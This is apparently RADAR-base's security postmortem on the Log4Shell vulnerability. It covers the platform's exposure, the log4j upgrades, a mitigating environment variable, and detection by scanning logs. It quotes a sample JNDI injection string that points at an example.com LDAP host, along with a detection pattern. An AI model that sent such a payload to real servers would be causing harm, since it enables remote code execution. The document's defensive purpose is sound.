Postmortem summary

Postmortem report

1. About the Log4Shell 

An exploit listed as CVE-2021-44228 was made public on December 9, 2021. The exploit is simple, easy to trigger, and can be used to perform remote code execution (RCE) in vulnerable systems, which could allow an attacker to gain full control of them. All an attacker has to do is get the affected app to log a special string. 

The vulnerability is triggered by a simple string sent to a vulnerable server:

${jndi:ldap://example.com/a}

When the vulnerable application logs the string it triggers a lookup to an attacker-controlled remote LDAP server (http://example.com in our scenario). The response from the malicious server contains a path to a remote Java class file that’s injected into the server process. Attackers can execute commands with the same level of privilege as the application that uses the logging library.

2. Vulnerability description

Date of discovery: 2021-12-13

Summary: The RADAR-base platform has a number of back-end applications which use the vulnerable dependency. It is highly unlikely to successfully trigger such a string on a vulnerable service since it is protected by authorized tokens and often the services don’t log input from the internet as is. 

If an attacker manages to send a compromising string to the vulnerable server and the string gets logged on the vulnerable server, the attacker can then serialize data available to the vulnerable server. In general, RADAR-base does not store personally identifiable information (PII). The probability of this happening is hard to assess. It is only possible to get access to PII if the attacker gets hold of RADAR-base application and an external system that stores PII (e.g. RedCap, the server application being  based on PHP rather than Java and so is not vulnerable to the same exploit) or PII is stored in RADAR-base in other forms (e.g. as metadata).

Discovery: Since the CVE-2021-44228 was made public on December 9, 2021, we investigated for possible vulnerabilities in the platform components. We have identified aforementioned components which use the vulnerable dependency, proposed and applied recommended countermeasures. 

Method of discovery: We investigated all Java based applications that can be accessible via the internet (e.g. REST-Ful back-end services) and investigated if the vulnerable dependency (log4j-core:2.0 -2.14.1) is used at runtime. 

For external services used in RADAR-base, we investigated if any of the Java based components are officially reported as vulnerable. 

Fix: Updated log4j dependencies to 2.16.0.

2.1 Affected  services and versions

Services developed within RADAR-base

*Partial resolution, updated log4j to 2.15.0.

External services used in RADAR-base

3. Countermeasures

RADAR-base maintainers are upgrading the log4j2 to 2.15.0/2.16.0. 

All RADAR-base administrators should upgrade their server with suggested versions and apply this environment variable to all applications that use Java to be on the safe side. 

`LOG4J_FORMAT_MSG_NO_LOOKUPS=true`

Each admin must evaluate for itself whether their installation setup may have unintentionally leaked PII and decide whether and how users should be informed.

4. Exploitation detection

A set of processes have been documented for identifying potential cases of attempted exploitation; these are based on identifying existing log4j usage and scanning logs for variations of the "${jndi:ldap:" string.

 https://www.trustedsec.com/blog/log4j-playbook/#_Exploitation_Detection  

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b